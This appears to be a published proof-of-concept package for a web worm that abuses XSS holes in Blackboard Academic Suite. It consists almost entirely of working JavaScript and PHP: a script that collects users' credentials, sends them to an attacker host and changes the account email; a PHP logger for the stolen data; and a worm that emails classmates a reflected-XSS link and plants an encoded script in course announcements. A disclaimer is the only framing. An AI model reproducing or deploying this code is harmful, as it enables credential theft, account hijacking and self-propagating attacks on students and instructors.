Download:
http://www.scribd.com/word/download/2363025?extension=pdf
View online:
Proof – of – Concept:
- Steal.js
/**
* @Author: Duong Thanh - Knight4vn (knightvn (at) gmail.com)
* FILE: BBworm.js
* A web-based worm using Blackboard Academic Suites' Vulnerability
*
* DISCLAIMER: This exploit tool is provided only to test systems for a
* known vulnerability. Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner. You are responsible for any damage your
* use of the tool causes. In no event may the author of this tool be held
* responsible for damages relating to its use.
*/
// CONFIGURATION SECTION
var _changedEmail = "hacker@gmail.com";
var _logInfoURL = "http://hacker/log.php"; //simple php script to log victim's information
// STORED SECTION
// We are using Global Variables to reduce loading time of victim's browser
var _userID; // userID
var _courseIDs; // array of courses victim taking or teaching
var _userName; //userName of that user
var _userPassword; //user's current encrypted password
var _userEmail; //user's current email address
var _userFirstName;
var _userLastName;
var _interval_3;
var _interval_4;
function getAjaxObj()
{
var ajaxRequest;
try {
ajaxRequest = new XMLHttpRequest();
}
catch (e)
{
try { ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e)
{
try { ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e)
{
alert("Your browser broke!");
return false;
}
}
}
return ajaxRequest;
}
function ajaxPost(url, requestString)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(requestString);
}
function ajaxGet(url)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("GET", url, true);
ajaxRequest.send(null);
}
function ajaxGetwithResult(url, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("GET", url, true);
ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(null);
}
function ajaxPostwithResult(url, requestString, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.setRequestHeader("Content-Length", requestString.length);
ajaxRequest.setRequestHeader("Connection", "close");
ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(requestString);
}
//I had used RegExp at first, but later I found out that this technique is simply the best
function extractUserInfos(str)
{
var tempDiv = document.createElement("div");
tempDiv.innerHTML = str;
var arr = tempDiv.getElementsByTagName("input");
_userFirstName = arr["firstName"].value;
_userLastName = arr["lastName"].value;
_userEmail = arr["email"].value;
_userName = arr["userName"].value;
_userPassword = arr["password"].value;
_userID = arr["user_id"].value;
}
function getUserInfos()
{
ajaxGetwithResult("/webapps/blackboard/execute/editUser?context=self_modify", extractUserInfos);
}
function changeEmail()
{
var url = "/webapps/blackboard/execute/editUser";
var requestStr = "firstName="+_userFirstName+"&lastName="+_userLastName+"&email="+_changedEmail+"&userName="+_userName+"&user_id="+_userID+"&dispatch=save&context=self_modify&handle=my_inst_personal_edit&modify=true&self=true";
ajaxPost(url, requestStr);
}
function logInfo()
{
logInfoImg = new Image(0,0);
logInfoImg.src = _logInfoURL + "?user=" + _userName +"&p="+_userPassword+"&fname="+_userFirstName+"&lname="+_userLastName+"&email="+_userEmail;
document.body.appendChild(logInfoImg);
window.clearInterval(_interval_3);
}
//check if getUserID() completely finished or not?
function ready2ChangeEmail()
{
if (_userID != null)
{
changeEmail();
window.clearInterval(_interval_4);
}
}
function init()
{
getUserInfos();
_interval_4 = window.setInterval("ready2ChangeEmail()", 500);
_interval_3 = window.setInterval("logInfo()",700);
}
init();
- logInfo.php
<?php
//File Name: logInfo.php
//@Author : Knight4vn
//A simple PHP script to log user's account information
$user = $_REQUEST['user'];
$p = $_REQUEST['p'];
$fname = $_REQUEST['fname'];
$lname = $_REQUEST['lname'];
$email = $_REQUEST['email'];
if($user)
{
$fin = fopen("user.txt", "a");
$currentTime = date("d/m/y : H:i:s", time());
$str = "Time: ".$currentTime." User: ".$user." Pwd: ".$p." Fname:".$fname." Lname:".$lname." Email:".$email."\n";
fwrite($fin, $str);
}
?>
- BBworm.js
/**
* @Author: Duong Thanh - Knight4vn (knightvn (at) gmail.com)
* FILE: BBworm.js
* A web-based worm using Blackboard Academic Suites' Vulnerability
*
* DISCLAIMER: This exploit tool is provided only to test systems for a
* known vulnerability. Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner. You are responsible for any damage your
* use of the tool causes. In no event may the author of this tool be held
* responsible for damages relating to its use.
*/
// CONFIGURATION SECTION
var _logInfoURL = "http://hacker.com/logInfo.php";
var _emailSubject = "Hi I'm your classmate."; //subject of the email will be sent to victim's classmates
var _emailBody = "I did not understand this lecture slide. Could you please help me out?"; //body of the email
_emailBody += "http://site.edu/webapps/blackboard/execute/viewCatalog?type=Course&searchText=%22%3E%3Cscript%20src=%22http://baotreonline.com/kduxradio/hck/steal.js%22%3E%3C/script%3E"; //non-persistent XSS exploit URL
var _announcementTitle = 'Hi this is an normal announcement! ">' ; // fake announcement title
_announcementTitle += '%3C%73%63%72%69%70%74%20%73%72%63%20%3D%20%27%68%74%74%70%3A%2F%2F%65%76%69%6C%2F%77%6F%72%6D%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E'; //inject malicious script to this announcement using persistent XSS hole
var _announcementBody = "Just wanna say hi!";
// STORED SECTION
// We are using Global Variables to reduce loading time of victim's browser
var _userID; // userID
var _courseIDs; // array of courses victim taking or teaching
var _userName; //userName of that user
var _userPassword; //user's current encrypted password
var _userEmail; //user's current email address
var _userFirstName;
var _userLastName;
function getAjaxObj()
{
var ajaxRequest;
try { ajaxRequest = new XMLHttpRequest(); }
catch (e)
{
try
{ ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e)
{
try { ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { return false; }
}
}
return ajaxRequest;
}
function ajaxPost(url, requestString)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(requestString);
}
function ajaxGet(url)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("GET", url, true);
ajaxRequest.send(null);
}
function ajaxGetwithResult(url, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("GET", url, true);
ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(null);
}
function ajaxPostwithResult(url, requestString, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.setRequestHeader("Content-Length", requestString.length);
ajaxRequest.setRequestHeader("Connection", "close");
ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(requestString);
}
function extractUserInfo(str)
{
//a temporary div trick works better than using RegEx to extract info
var tempDiv = document.createElement("div");
tempDiv.innerHTML = str;
var arr = tempDiv.getElementsByTagName("input");
_userFirstName = arr["firstName"].value;
_userLastName = arr["lastName"].value;
_userEmail = arr["email"].value;
_userName = arr["userName"].value;
_userPassword = arr["password"].value;
_userID = arr["user_id"].value;
}
function getUserInfo()
{
ajaxGetwithResult("/webapps/blackboard/execute/editUser?context=self_modify", extractUserInfo);
}
function extractCourseIDs(responseText)
{
var searchStr = /_[0-9]{3,8}_1/g;
var arr = responseText.match(searchStr);
_courseIDs = arr;
}
function getCourseIDs()
{
ajaxGetwithResult("/webapps/gradebook/do/student/viewCourses", extractCourseIDs);
}
function logInfo()
{
logInfoImg = new Image(0,0);
logInfoImg.src = _logInfoURL + "?user=" + _userName +"&p="+_userPassword+"&fname="+_userFirstName+"&lname="+_userLastName+"&email="+_userEmail;
document.body.appendChild(logInfoImg);
}
function sendEmail2People()
{
for (var i = 0; i < _courseIDs.length; i++)
{
var requestBody = '-----------------------------263533012628632\r\n';
requestBody += 'Content-Disposition: form-data; name="navItem"\r\n';
requestBody += '\r\n';
requestBody += 'email_all_students\r\n';
requestBody += '-----------------------------263533012628632\r\n';
requestBody += 'Content-Disposition: form-data; name="course_id"\r\n';
requestBody += '\r\n';
requestBody += _courseIDs[i];
requestBody += '\r\n';
requestBody += '-----------------------------263533012628632\r\n';
requestBody += 'Content-Disposition: form-data; name="subject"\r\n';
requestBody += '\r\n';
requestBody += _emailSubject;
requestBody += '\r\n';
requestBody += '-----------------------------263533012628632\r\n';
requestBody += 'Content-Disposition: form-data; name="messagetext"\r\n';
requestBody += '\r\n';
requestBody += _emailBody;
requestBody += '\r\n';
requestBody += '-----------------------------263533012628632\r\n';
requestBody += 'Content-Disposition: form-data; name="email_file_"; filename=""\r\n';
requestBody += 'Content-Type: application/octet-stream\r\n';
requestBody += '\r\n';
requestBody += '\r\n';
requestBody += '-----------------------------263533012628632--\r\n';
var url = "/webapps/blackboard/execute/sendEmail?navItem=email_all_students&course_id=" + _courseIDs[i];
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------263533012628632");
ajaxRequest.send(requestBody);
}
}
function postAnnouncements()
{
for(var i = 0; i < _courseIDs.length; i++)
{
var url = "/bin/common/announcement.pl";
/*
Blackboard requires instructor has to actually access the Add Announcement page first
( A record will be added to the DB each time the instructor visit Add Announcement page then it is removed after the Announcement successfully added)
the direct ajaxPost is gonna face a system error if we dont request Add Announcement page first with victim's session
Therefore, the following get request solves that problem
*/
var getStr = "?action=ADD&course_id=COURSEID&render_type=EDITABLE&context=course";
getStr = getStr.replace("COURSEID", _courseIDs[i]);
ajaxGet(url + getStr);
var postStr = "action=PUT&context=course&announcement_id=_pk1_pk2&course_id=COURSEID&data__announcement___pk1_pk2__announcement_type=C&render_type=FORM&data__announcements___pk1_pk2__subject=TITLE&data__announcements___pk1_pk2__announcement_f=&data__announcements___pk1_pk2__announcement_w=&data__announcements___pk1_pk2__text_format_type=H&text_style=html&text_format_type=H&data__announcements___pk1_pk2__announcement=BODY&data__announcements___pk1_pk2__permanent_ind=N&data__announcements___pk1_pk2__start_date_mm=01&data__announcements___pk1_pk2__start_date_dd=27&data__announcements___pk1_pk2__start_date_yyyy=2008&data__announcements___pk1_pk2__start_date=&pickdate=&pickname=&data__announcements___pk1_pk2__start_date_hh=03&data__announcements___pk1_pk2__start_date_mi=00&data__announcements___pk1_pk2__start_date_am=1&data__announcements___pk1_pk2__end_date_mm=01&data__announcements___pk1_pk2__end_date_dd=28&data__announcements___pk1_pk2__end_date_yyyy=2008&data__announcements___pk1_pk2__end_date=&data__announcements___pk1_pk2__end_date_hh=03&data__announcements___pk1_pk2__end_date_mi=00&data__announcements___pk1_pk2__end_date_am=1&props__announcements___pk1_pk2__link_source_pk1=&props__announcements___pk1_pk2__link_source_table=&=&location=&props__announcements___pk1_pk2__send_email=N";
postStr = postStr.replace("TITLE", _announcementTitle);
postStr = postStr.replace("BODY", _announcementBody);
postStr = postStr.replace("COURSEID", _courseIDs[i]);
//a trick to get around setTimeout limitation
var func = "ajaxPost('"+url+"','"+postStr+"')";
window.setTimeout(func, 6000);
}
}
function init()
{
getUserInfo();
getCourseIDs();
window.setTimeout("sendEmail2People()", 2500);
window.setTimeout("postAnnouncements()", 2500);
window.setTimeout("logInfo()", 2500);
}
init();